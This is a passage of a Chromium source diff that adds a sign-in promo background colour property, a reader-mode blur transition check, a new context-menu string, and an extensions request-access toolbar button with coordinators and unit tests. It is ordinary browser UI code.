                         /* shouldShowAccountPicker= */ true,
                         /* shouldShowHeaderWithAvatar= */ false,
-                        /* shouldShowLoadingState= */ false);
+                        /* shouldShowLoadingState= */ false,
+                        /* accountPickerBackground= */ mPromoDelegate
+                                .getAccountPickerBackgroundColor());
         mMaxImpressionReached = mPromoDelegate.isMaxImpressionsReached();
         mPromoDelegate.refreshPromoState(visibleAccount);
         mShouldShowPromo = canShowPromo();
@@ -296,6 +298,9 @@
             mModel.set(
                     SigninPromoProperties.SHOULD_SHOW_LOADING_STATE,
                     mPromoDelegate.shouldDisplayLoadingState());
+            mModel.set(
+                    SigninPromoProperties.SELECTED_ACCOUNT_VIEW_BACKGROUND,
+                    mPromoDelegate.getAccountPickerBackgroundColor());
         }
     }
 
diff --git a/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/SigninPromoMediatorTest.java b/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/SigninPromoMediatorTest.java
index 85f1f38..d72d7ff 100644
--- a/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/SigninPromoMediatorTest.java
+++ b/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/SigninPromoMediatorTest.java
@@ -69,6 +69,7 @@
 
     @Before
     public void setUp() {
+        mContext.setTheme(R.style.Theme_BrowserUI_DayNight);
         lenient().doReturn(true).when(mPromoDelegate).canShowPromo();
     }
 
diff --git a/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/SigninPromoProperties.java b/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/SigninPromoProperties.java
index a7d65896..529f20f4 100644
--- a/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/SigninPromoProperties.java
+++ b/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/SigninPromoProperties.java
@@ -62,6 +62,12 @@
     static final PropertyModel.WritableBooleanPropertyKey SHOULD_SHOW_LOADING_STATE =
             new PropertyModel.WritableBooleanPropertyKey("should_show_loading_state");
 
+    // TODO(crbug.com/448227402)
+    // This property is used only in the seamless sign-in layout `compact`. It should be removed
+    // after the end of experiment if the chosen layout is `twoButtons`.
+    static final PropertyModel.WritableIntPropertyKey SELECTED_ACCOUNT_VIEW_BACKGROUND =
+            new PropertyModel.WritableIntPropertyKey("selected_account_view_background");
+
     static final PropertyKey[] ALL_KEYS =
             new PropertyKey[] {
                 PROFILE_DATA,
@@ -76,7 +82,8 @@
                 SHOULD_HIDE_DISMISS_BUTTON,
                 SHOULD_SHOW_ACCOUNT_PICKER,
                 SHOULD_SHOW_HEADER_WITH_AVATAR,
-                SHOULD_SHOW_LOADING_STATE
+                SHOULD_SHOW_LOADING_STATE,
+                SELECTED_ACCOUNT_VIEW_BACKGROUND
             };
 
     private SigninPromoProperties() {}
@@ -94,7 +101,8 @@
             boolean shouldHideDismissButton,
             boolean shouldShowAccountPicker,
             boolean shouldShowHeaderWithAvatar,
-            boolean shouldShowLoadingState) {
+            boolean shouldShowLoadingState,
+            int accountPickerBackground) {
         return new PropertyModel.Builder(ALL_KEYS)
                 .with(PROFILE_DATA, profileData)
                 .with(ON_PRIMARY_BUTTON_CLICKED, (unusedView) -> onPrimaryButtonClicked.run())
@@ -109,6 +117,7 @@
                 .with(SHOULD_SHOW_ACCOUNT_PICKER, shouldShowAccountPicker)
                 .with(SHOULD_SHOW_HEADER_WITH_AVATAR, shouldShowHeaderWithAvatar)
                 .with(SHOULD_SHOW_LOADING_STATE, shouldShowLoadingState)
+                .with(SELECTED_ACCOUNT_VIEW_BACKGROUND, accountPickerBackground)
                 .build();
     }
 }
diff --git a/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/SigninPromoViewBinder.java b/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/SigninPromoViewBinder.java
index ab2218e5..6f73170 100644
--- a/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/SigninPromoViewBinder.java
+++ b/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/SigninPromoViewBinder.java
@@ -5,6 +5,7 @@
 package org.chromium.chrome.browser.ui.signin.signin_promo;
 
 import android.content.Context;
+import android.content.res.ColorStateList;
 import android.graphics.drawable.Drawable;
 import android.view.Gravity;
 import android.view.View;
@@ -140,6 +141,15 @@
                     showRegularState(seamlessSigninPromoType, view);
                 }
             }
+        } else if (key == SigninPromoProperties.SELECTED_ACCOUNT_VIEW_BACKGROUND) {
+            if (seamlessSigninPromoType == SigninFeatureMap.SeamlessSigninPromoType.COMPACT) {
+                view.getSelectedAccountView()
+                        .setBackgroundTintList(
+                                ColorStateList.valueOf(
+                                        model.get(
+                                                SigninPromoProperties
+                                                        .SELECTED_ACCOUNT_VIEW_BACKGROUND)));
+            }
         } else {
             throw new IllegalArgumentException("Unknown property key: " + key);
         }
diff --git a/chrome/browser/ui/android/strings/android_chrome_strings.grd b/chrome/browser/ui/android/strings/android_chrome_strings.grd
index 1ad5fce..5831804 100644
--- a/chrome/browser/ui/android/strings/android_chrome_strings.grd
+++ b/chrome/browser/ui/android/strings/android_chrome_strings.grd
@@ -4840,6 +4840,9 @@
       <message name="IDS_MENU_OPEN_IN_CHROME" desc="Context sensitive menu item for opening a link in Chrome. [CHAR_LIMIT=30]">
         Open in Chrome browser
       </message>
+      <message name="IDS_MENU_OPEN_IN_NEW_TAB" desc="Context sensitive menu item for opening a link in a new tab in Chrome. [CHAR_LIMIT=30]">
+        Open in new tab
+      </message>
       <message name="IDS_MENU_OPEN_IN_INCOGNITO_CHROME" desc="Context sensitive menu item for opening a link in Chrome in an Incognito tab. [CHAR_LIMIT=30]" translateable="false">
         Open in Incognito Chrome
       </message>
diff --git a/chrome/browser/ui/android/strings/android_chrome_strings_grd/IDS_MENU_OPEN_IN_NEW_TAB.png.sha1 b/chrome/browser/ui/android/strings/android_chrome_strings_grd/IDS_MENU_OPEN_IN_NEW_TAB.png.sha1
new file mode 100644
index 0000000..28e7c63
--- /dev/null
+++ b/chrome/browser/ui/android/strings/android_chrome_strings_grd/IDS_MENU_OPEN_IN_NEW_TAB.png.sha1
@@ -0,0 +1 @@
+43934b6b88b413692ecb29429c1c08841bc2c1ec
\ No newline at end of file
diff --git a/chrome/browser/ui/android/tab_contents/chrome_web_contents_view_delegate_android.cc b/chrome/browser/ui/android/tab_contents/chrome_web_contents_view_delegate_android.cc
index ad12b2a0..c4f6a236 100644
--- a/chrome/browser/ui/android/tab_contents/chrome_web_contents_view_delegate_android.cc
+++ b/chrome/browser/ui/android/tab_contents/chrome_web_contents_view_delegate_android.cc
@@ -6,9 +6,13 @@
 
 #include <memory>
 
+#include "base/feature_list.h"
 #include "base/notreached.h"
 #include "chrome/browser/ui/android/context_menu_helper.h"
+#include "components/dom_distiller/core/dom_distiller_features.h"
+#include "components/dom_distiller/core/url_constants.h"
 #include "content/public/browser/context_menu_params.h"
+#include "content/public/browser/navigation_handle.h"
 #include "content/public/browser/web_contents.h"
 #include "content/public/browser/web_contents_view_delegate.h"
 
@@ -26,6 +30,20 @@
   NOTREACHED();
 }
 
+bool ChromeWebContentsViewDelegateAndroid::ShouldShowBlurTransitionAnimation(
+    content::NavigationHandle* navigation_handle) {
+  if (!base::FeatureList::IsEnabled(
+          dom_distiller::kReaderModeBlurTransitionAnimation)) {
+    return false;
+  }
+
+  // Check that the navigation is entering or exiting Reading Mode.
+  return navigation_handle->GetURL().SchemeIs(
+             dom_distiller::kDomDistillerScheme) ||
+         web_contents_->GetLastCommittedURL().SchemeIs(
+             dom_distiller::kDomDistillerScheme);
+}
+
 void ChromeWebContentsViewDelegateAndroid::ShowContextMenu(
     content::RenderFrameHost& render_frame_host,
     const content::ContextMenuParams& params) {
diff --git a/chrome/browser/ui/android/tab_contents/chrome_web_contents_view_delegate_android.h b/chrome/browser/ui/android/tab_contents/chrome_web_contents_view_delegate_android.h
index db1e248..a15e3ae 100644
--- a/chrome/browser/ui/android/tab_contents/chrome_web_contents_view_delegate_android.h
+++ b/chrome/browser/ui/android/tab_contents/chrome_web_contents_view_delegate_android.h
@@ -37,6 +37,11 @@
   // WebContentsViewDelegate:
   content::WebDragDestDelegate* GetDragDestDelegate() override;
 
+  // Determine whether to show a blur animation of the page the user is
+  // navigating away from to provide a more seamless transition.
+  bool ShouldShowBlurTransitionAnimation(
+      content::NavigationHandle* navigation_handle) override;
+
  private:
   // The WebContents that owns the view and this delegate transitively.
   raw_ptr<content::WebContents> web_contents_;
diff --git a/chrome/browser/ui/android/toolbar/OWNERS b/chrome/browser/ui/android/toolbar/OWNERS
index ebaa537..c103294 100644
--- a/chrome/browser/ui/android/toolbar/OWNERS
+++ b/chrome/browser/ui/android/toolbar/OWNERS
@@ -5,4 +5,3 @@
 
 per-file TabSwitcher*=file://chrome/android/java/src/org/chromium/chrome/browser/tasks/OWNERS
 per-file adaptive_*=file://chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/adaptive/OWNERS
-per-file BUILD.gn=file://chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/OWNERS
diff --git a/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/ToolbarPositionController.java b/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/ToolbarPositionController.java
index b5b61de..dfb7647 100644
--- a/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/ToolbarPositionController.java
+++ b/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/ToolbarPositionController.java
@@ -518,6 +518,9 @@
                 progressBarChangeRunnable.run();
             }
         } else {
+            // When the toolbar is at bottom, it shouldn't add any top inset. Calling
+            // onToEdgeChange() immediately to remove the top padding of Toolbar if exists.
+            onToEdgeChange(/* systemTopInset= */ 0, /* consumeTopInset= */ false);
             newTopHeight = mBrowserControlsSizer.getTopControlsHeight() - controlContainerHeight;
             mLayerVisibility = LayerVisibility.VISIBLE;
             CoordinatorLayout.LayoutParams progressBarLayoutParams =
diff --git a/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/BUILD.gn b/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/BUILD.gn
index 0fb80a21..1b1726b 100644
--- a/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/BUILD.gn
+++ b/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/BUILD.gn
@@ -16,6 +16,8 @@
   ]
   resources_package = "org.chromium.chrome.browser.toolbar"
   sources = [
+    "ExtensionAccessControlButtonCoordinator.java",
+    "ExtensionAccessControlButtonMediator.java",
     "ExtensionActionButtonProperties.java",
     "ExtensionActionButtonViewBinder.java",
     "ExtensionActionContextMenuUtils.java",
@@ -27,6 +29,7 @@
     "ExtensionActionPopup.java",
     "ExtensionActionsUpdateHelper.java",
     "ExtensionToolbarCoordinatorImpl.java",
+    "ExtensionsMenuAndAccessControlButtonCoordinator.java",
     "ExtensionsMenuCoordinator.java",
     "ExtensionsMenuItemProperties.java",
     "ExtensionsMenuItemViewBinder.java",
@@ -65,9 +68,11 @@
 robolectric_library("junit") {
   resources_package = "org.chromium.chrome.browser.toolbar"
   sources = [
+    "ExtensionAccessControlButtonMediatorTest.java",
     "ExtensionActionDragHelperTest.java",
     "ExtensionActionListMediatorTest.java",
     "ExtensionActionsUpdateHelperTest.java",
+    "ExtensionsMenuAndAccessControlButtonCoordinatorTest.java",
     "ExtensionsMenuCoordinatorTest.java",
     "ExtensionsMenuMediatorTest.java",
   ]
diff --git a/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/ExtensionAccessControlButtonCoordinator.java b/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/ExtensionAccessControlButtonCoordinator.java
new file mode 100644
index 0000000..b2d4bd63
--- /dev/null
+++ b/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/ExtensionAccessControlButtonCoordinator.java
@@ -0,0 +1,43 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+package org.chromium.chrome.browser.toolbar.extensions;
+
+import android.view.View;
+
+import org.chromium.base.lifetime.Destroyable;
+import org.chromium.base.supplier.NullableObservableSupplier;
+import org.chromium.build.annotations.NullMarked;
+import org.chromium.chrome.browser.tab.Tab;
+import org.chromium.chrome.browser.ui.extensions.ExtensionsToolbarBridge;
+
+/**
+ * Coordinator for the request access button. This class is responsible for the button that allows
+ * extensions to request access to the current site.
+ */
+@NullMarked
+public class ExtensionAccessControlButtonCoordinator implements Destroyable {
+    private final ExtensionAccessControlButtonMediator mMediator;
+
+    /**
+     * Constructor.
+     *
+     * @param currentTabSupplier Supplies the current {@link Tab}.
+     * @param extensionsToolbarBridge The bridge to interact with extensions.
+     * @param requestAccessButton The button to request access to the current site.
+     */
+    public ExtensionAccessControlButtonCoordinator(
+            NullableObservableSupplier<Tab> currentTabSupplier,
+            ExtensionsToolbarBridge extensionsToolbarBridge,
+            View requestAccessButton) {
+        mMediator =
+                new ExtensionAccessControlButtonMediator(
+                        currentTabSupplier, extensionsToolbarBridge, requestAccessButton);
+    }
+
+    @Override
+    public void destroy() {
+        mMediator.destroy();
+    }
+}
diff --git a/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/ExtensionAccessControlButtonMediator.java b/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/ExtensionAccessControlButtonMediator.java
new file mode 100644
index 0000000..37e0b941
--- /dev/null
+++ b/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/ExtensionAccessControlButtonMediator.java
@@ -0,0 +1,82 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+package org.chromium.chrome.browser.toolbar.extensions;
+
+import android.view.View;
+
+import org.chromium.base.Callback;
+import org.chromium.base.lifetime.Destroyable;
+import org.chromium.base.supplier.NullableObservableSupplier;
+import org.chromium.build.annotations.NullMarked;
+import org.chromium.build.annotations.Nullable;
+import org.chromium.chrome.browser.tab.Tab;
+import org.chromium.chrome.browser.ui.extensions.ExtensionsToolbarBridge;
+import org.chromium.chrome.browser.ui.extensions.RequestAccessButtonParams;
+import org.chromium.content_public.browser.WebContents;
+
+/**
+ * Mediator for the request access button. This class is responsible for listening to changes in the
+ * extensions and updating the button accordingly.
+ */
+@NullMarked
+class ExtensionAccessControlButtonMediator implements Destroyable {
+    private final ExtensionsToolbarBridge.Observer mToolbarObserver = new ToolbarObserver();
+    private final NullableObservableSupplier<Tab> mCurrentTabSupplier;
+    private final ExtensionsToolbarBridge mExtensionsToolbarBridge;
+    private final View mRequestAccessButton;
+    private final Callback<@Nullable Tab> mTabSupplierObserver =
+            (tab) -> refreshRequestAccessButton();
+
+    public ExtensionAccessControlButtonMediator(
+            NullableObservableSupplier<Tab> currentTabSupplier,
+            ExtensionsToolbarBridge extensionsToolbarBridge,
+            View requestAccessButton) {
+        mCurrentTabSupplier = currentTabSupplier;
+        mExtensionsToolbarBridge = extensionsToolbarBridge;
+        mRequestAccessButton = requestAccessButton;
+
+        mExtensionsToolbarBridge.addObserver(mToolbarObserver);
+        mCurrentTabSupplier.addObserver(mTabSupplierObserver);
+        refreshRequestAccessButton();
+    }
+
+    private void refreshRequestAccessButton() {
+        Tab currentTab = mCurrentTabSupplier.get();
+        // Note: If there are no web contents, the extensions toolbar shouldn't be visible at all.
+        // We should handle this at the extensions toolbar level.
+        WebContents webContents = currentTab != null ? currentTab.getWebContents() : null;
+        if (webContents == null) {
+            mRequestAccessButton.setVisibility(View.GONE);
+            return;
+        }
+
+        RequestAccessButtonParams params =
+                mExtensionsToolbarBridge.getRequestAccessButtonParams(webContents);
+        if (params.getExtensionIds().length > 0) {
+            mRequestAccessButton.setVisibility(View.VISIBLE);
+            mRequestAccessButton.setContentDescription(params.getTooltipText());
+        } else {
+            mRequestAccessButton.setVisibility(View.GONE);
+        }
+    }
+
+    @Override
+    public void destroy() {
+        mCurrentTabSupplier.removeObserver(mTabSupplierObserver);
+        mExtensionsToolbarBridge.removeObserver(mToolbarObserver);
+    }
+
+    private class ToolbarObserver implements ExtensionsToolbarBridge.Observer {
+        @Override
+        public void onActiveWebContentsChanged() {
+            refreshRequestAccessButton();
+        }
+
+        @Override
+        public void onRequestAccessButtonParamsChanged() {
+            refreshRequestAccessButton();
+        }
+    }
+}
diff --git a/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/ExtensionAccessControlButtonMediatorTest.java b/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/ExtensionAccessControlButtonMediatorTest.java
new file mode 100644
index 0000000..f0635fa
--- /dev/null
+++ b/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/ExtensionAccessControlButtonMediatorTest.java
@@ -0,0 +1,90 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+package org.chromium.chrome.browser.toolbar.extensions;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.Mockito.clearInvocations;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
+import android.view.View;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+import org.mockito.Captor;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnit;
+import org.mockito.junit.MockitoRule;
+
+import org.chromium.base.supplier.ObservableSuppliers;
+import org.chromium.base.supplier.SettableNullableObservableSupplier;
+import org.chromium.base.test.BaseRobolectricTestRunner;
+import org.chromium.chrome.browser.tab.Tab;
+import org.chromium.chrome.browser.ui.extensions.ExtensionsToolbarBridge;
+import org.chromium.chrome.browser.ui.extensions.RequestAccessButtonParams;
+import org.chromium.content_public.browser.WebContents;
+
+/** Unit tests for ExtensionAccessControlButtonMediator. */
+@RunWith(BaseRobolectricTestRunner.class)
+public class ExtensionAccessControlButtonMediatorTest {
+    @Rule public final MockitoRule mMockitoRule = MockitoJUnit.rule();
+
+    @Mock private ExtensionsToolbarBridge mExtensionsToolbarBridge;
+    @Mock private View mRequestAccessButton;
+    @Mock private Tab mTab;
+    @Mock private WebContents mWebContents;
+    private final SettableNullableObservableSupplier<Tab> mCurrentTabSupplier =
+            ObservableSuppliers.createNullable();
+
+    @Captor private ArgumentCaptor<ExtensionsToolbarBridge.Observer> mToolbarObserverCaptor;
+
+    private ExtensionAccessControlButtonMediator mMediator;
+
+    @Before
+    public void setUp() {
+        when(mTab.getWebContents()).thenReturn(mWebContents);
+        mCurrentTabSupplier.set(mTab);
+
+        when(mExtensionsToolbarBridge.getRequestAccessButtonParams(any()))
+                .thenReturn(new RequestAccessButtonParams(new String[0], ""));
+
+        mMediator =
+                new ExtensionAccessControlButtonMediator(
+                        mCurrentTabSupplier, mExtensionsToolbarBridge, mRequestAccessButton);
+        verify(mExtensionsToolbarBridge).addObserver(mToolbarObserverCaptor.capture());
+
+        clearInvocations(mRequestAccessButton);
+    }
+
+    @Test
+    // Tests that the requests access button is visible only when there are extensions requesting
+    // access
+    public void testRequestAccessButtonVisibility() {
+        ExtensionsToolbarBridge.Observer observer = mToolbarObserverCaptor.getValue();
+
+        // No requests.
+        RequestAccessButtonParams paramsNoRequests =
+                new RequestAccessButtonParams(new String[0], "");
+        when(mExtensionsToolbarBridge.getRequestAccessButtonParams(any()))
+                .thenReturn(paramsNoRequests);
+
+        observer.onRequestAccessButtonParamsChanged();
+        verify(mRequestAccessButton).setVisibility(View.GONE);
+
+        // Has requests.
+        String tooltip = "Some tooltip";
+        RequestAccessButtonParams paramsWithRequests =
+                new RequestAccessButtonParams(new String[] {"a"}, tooltip);
+        when(mExtensionsToolbarBridge.getRequestAccessButtonParams(any()))
+                .thenReturn(paramsWithRequests);
+
+        observer.onRequestAccessButtonParamsChanged();
+        verify(mRequestAccessButton).setVisibility(View.VISIBLE);
+        verify(mRequestAccessButton).setContentDescription(tooltip);
+    }
+}
diff --git a/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/ExtensionToolbarCoordinatorImpl.java b/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/ExtensionToolbarCoordinatorImpl.java
index 09f7127..82a495d 100644
--- a/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/ExtensionToolbarCoordinatorImpl.java
+++ b/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/ExtensionToolbarCoordinatorImpl.java
@@ -34,7 +34,8 @@
 
     private ExtensionsToolbarBridge mExtensionsToolbarBridge;
     private ExtensionActionListCoordinator mExtensionActionListCoordinator;
-    private ExtensionsMenuCoordinator mExtensionsMenuCoordinator;
+    private ExtensionsMenuAndAccessControlButtonCoordinator
+            mExtensionsMenuAndAccessControlButtonCoordinator;
 
     @Override
     public void initializeWithNative(
@@ -60,19 +61,21 @@
                         task,
                         currentTabSupplier,
                         mExtensionsToolbarBridge);
-        mExtensionsMenuCoordinator =
-                new ExtensionsMenuCoordinator(
+        mExtensionsMenuAndAccessControlButtonCoordinator =
+                new ExtensionsMenuAndAccessControlButtonCoordinator(
                         context,
                         container.findViewById(R.id.extensions_menu_button),
                         themeColorProvider,
                         task,
                         currentTabSupplier,
-                        tabCreator);
+                        tabCreator,
+                        mExtensionsToolbarBridge,
+                        container.findViewById(R.id.extensions_request_access_button));
     }
 
     @Override
     public void destroy() {
-        mExtensionsMenuCoordinator.destroy();
+        mExtensionsMenuAndAccessControlButtonCoordinator.destroy();
         mExtensionActionListCoordinator.destroy();
         mExtensionsToolbarBridge.destroy();
         mBridge.destroy();
@@ -100,6 +103,6 @@
 
     @Override
     public void updateMenuButtonBackground(int backgroundResource) {
-        mExtensionsMenuCoordinator.updateButtonBackground(backgroundResource);
+        mExtensionsMenuAndAccessControlButtonCoordinator.updateButtonBackground(backgroundResource);
     }
 }
diff --git a/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/ExtensionsMenuAndAccessControlButtonCoordinator.java b/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/ExtensionsMenuAndAccessControlButtonCoordinator.java
new file mode 100644
index 0000000..1020f19d
--- /dev/null
+++ b/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/ExtensionsMenuAndAccessControlButtonCoordinator.java
@@ -0,0 +1,73 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+package org.chromium.chrome.browser.toolbar.extensions;
+
+import android.content.Context;
+import android.view.View;
+
+import org.chromium.base.lifetime.Destroyable;
+import org.chromium.base.supplier.NullableObservableSupplier;
+import org.chromium.build.annotations.NullMarked;
+import org.chromium.chrome.browser.tab.Tab;
+import org.chromium.chrome.browser.tabmodel.TabCreator;
+import org.chromium.chrome.browser.theme.ThemeColorProvider;
+import org.chromium.chrome.browser.ui.browser_window.ChromeAndroidTask;
+import org.chromium.chrome.browser.ui.extensions.ExtensionsToolbarBridge;
+import org.chromium.ui.listmenu.ListMenuButton;
+
+/**
+ * Coordinator for the extensions menu and the request access button. This class is responsible for
+ * the buttons and the menu.
+ */
+@NullMarked
+public class ExtensionsMenuAndAccessControlButtonCoordinator implements Destroyable {
+    private final ExtensionsMenuCoordinator mExtensionsMenuCoordinator;
+    private final ExtensionAccessControlButtonCoordinator mExtensionAccessControlButtonCoordinator;
+
+    /**
+     * Constructor.
+     *
+     * @param context The context for this component.
+     * @param extensionsMenuButton The puzzle icon in the toolbar.
+     * @param themeColorProvider The provider for theme colors.
+     * @param task Supplies the {@link ChromeAndroidTask}.
+     * @param currentTabSupplier Supplies the current {@link Tab}.
+     * @param tabCreator {@link TabCreator} to handle a new tab creation.
+     * @param extensionsToolbarBridge The bridge to interact with extensions.
+     * @param requestAccessButton The button to request access to the current site.
+     */
+    public ExtensionsMenuAndAccessControlButtonCoordinator(
+            Context context,
+            ListMenuButton extensionsMenuButton,
+            ThemeColorProvider themeColorProvider,
+            ChromeAndroidTask task,
+            NullableObservableSupplier<Tab> currentTabSupplier,
+            TabCreator tabCreator,
+            ExtensionsToolbarBridge extensionsToolbarBridge,
+            View requestAccessButton) {
+        mExtensionsMenuCoordinator =
+                new ExtensionsMenuCoordinator(
+                        context,
+                        extensionsMenuButton,
+                        themeColorProvider,
+                        task,
+                        currentTabSupplier,
+                        tabCreator);
+
+        mExtensionAccessControlButtonCoordinator =
+                new ExtensionAccessControlButtonCoordinator(
+                        currentTabSupplier, extensionsToolbarBridge, requestAccessButton);
+    }
+
+    public void updateButtonBackground(int backgroundResource) {
+        mExtensionsMenuCoordinator.updateButtonBackground(backgroundResource);
+    }
+
+    @Override
+    public void destroy() {
+        mExtensionAccessControlButtonCoordinator.destroy();
+        mExtensionsMenuCoordinator.destroy();
+    }
+}
diff --git a/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/ExtensionsMenuAndAccessControlButtonCoordinatorTest.java b/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/ExtensionsMenuAndAccessControlButtonCoordinatorTest.java
new file mode 100644
index 0000000..e9ee856
--- /dev/null
+++ b/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/extensions/ExtensionsMenuAndAccessControlButtonCoordinatorTest.java
@@ -0,0 +1,91 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+package org.chromium.chrome.browser.toolbar.extensions;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
+import android.app.Activity;
+import android.view.View;
+
+import androidx.appcompat.app.AppCompatActivity;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnit;
+import org.mockito.junit.MockitoRule;
+import org.robolectric.Robolectric;
+
+import org.chromium.base.supplier.ObservableSuppliers;
+import org.chromium.base.test.BaseRobolectricTestRunner;
+import org.chromium.chrome.browser.tabmodel.TabCreator;
+import org.chromium.chrome.browser.theme.ThemeColorProvider;
+import org.chromium.chrome.browser.toolbar.R;
+import org.chromium.chrome.browser.ui.browser_window.ChromeAndroidTask;
+import org.chromium.chrome.browser.ui.extensions.ExtensionsToolbarBridge;
+import org.chromium.chrome.browser.ui.extensions.FakeExtensionActionsBridgeRule;
+import org.chromium.chrome.browser.ui.extensions.RequestAccessButtonParams;
+import org.chromium.ui.listmenu.ListMenuButton;
+
+/** Unit tests for ExtensionsMenuAndAccessControlButtonCoordinator. */
+@RunWith(BaseRobolectricTestRunner.class)
+public class ExtensionsMenuAndAccessControlButtonCoordinatorTest {
+    private static final long BROWSER_WINDOW_POINTER = 1000L;
+
+    @Rule public final MockitoRule mMockitoRule = MockitoJUnit.rule();
+
+    @Rule
+    public final FakeExtensionActionsBridgeRule mBridgeRule = new FakeExtensionActionsBridgeRule();
+
+    @Mock private ListMenuButton mExtensionsMenuButton;
+    @Mock private ThemeColorProvider mThemeColorProvider;
+    @Mock private ChromeAndroidTask mTask;
+    @Mock private TabCreator mTabCreator;
+    @Mock private ExtensionsToolbarBridge mExtensionsToolbarBridge;
+    @Mock private View mRequestAccessButton;
+
+    private Activity mContext;
+    private ExtensionsMenuAndAccessControlButtonCoordinator mCoordinator;
+
+    @Before
+    public void setUp() {
+        AppCompatActivity activity =
+                Robolectric.buildActivity(AppCompatActivity.class).setup().get();
+        activity.setTheme(R.style.Theme_BrowserUI_DayNight);
+        mContext = activity;
+
+        when(mExtensionsToolbarBridge.getRequestAccessButtonParams(any()))
+                .thenReturn(new RequestAccessButtonParams(new String[0], ""));
+        View mockRootView = mock(View.class);
+        when(mExtensionsMenuButton.getRootView()).thenReturn(mockRootView);
+
+        when(mTask.getOrCreateNativeBrowserWindowPtr()).thenReturn(BROWSER_WINDOW_POINTER);
+        mBridgeRule.getFakeBridge().getOrCreateTaskModel(mTask).setInitialized(true);
+
+        mCoordinator =
+                new ExtensionsMenuAndAccessControlButtonCoordinator(
+                        mContext,
+                        mExtensionsMenuButton,
+                        mThemeColorProvider,
+                        mTask,
+                        ObservableSuppliers.createNullable(),
+                        mTabCreator,
+                        mExtensionsToolbarBridge,
+                        mRequestAccessButton);
+    }
+
+    @Test
+    public void testDestroy() {
+        mCoordinator.destroy();
+        // Verifying that the bridge's observer is removed, which happens in the sub-coordinator's
+        // mediator.
+        verify(mExtensionsToolbarBridge).removeObserver(any());
+    }
+}
diff --git a/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/forward_button/ForwardButtonCoordinator.java b/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/forward_button/ForwardButtonCoordinator.java
index b1a4521..944176b1 100644
--- a/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/forward_button/ForwardButtonCoordinator.java
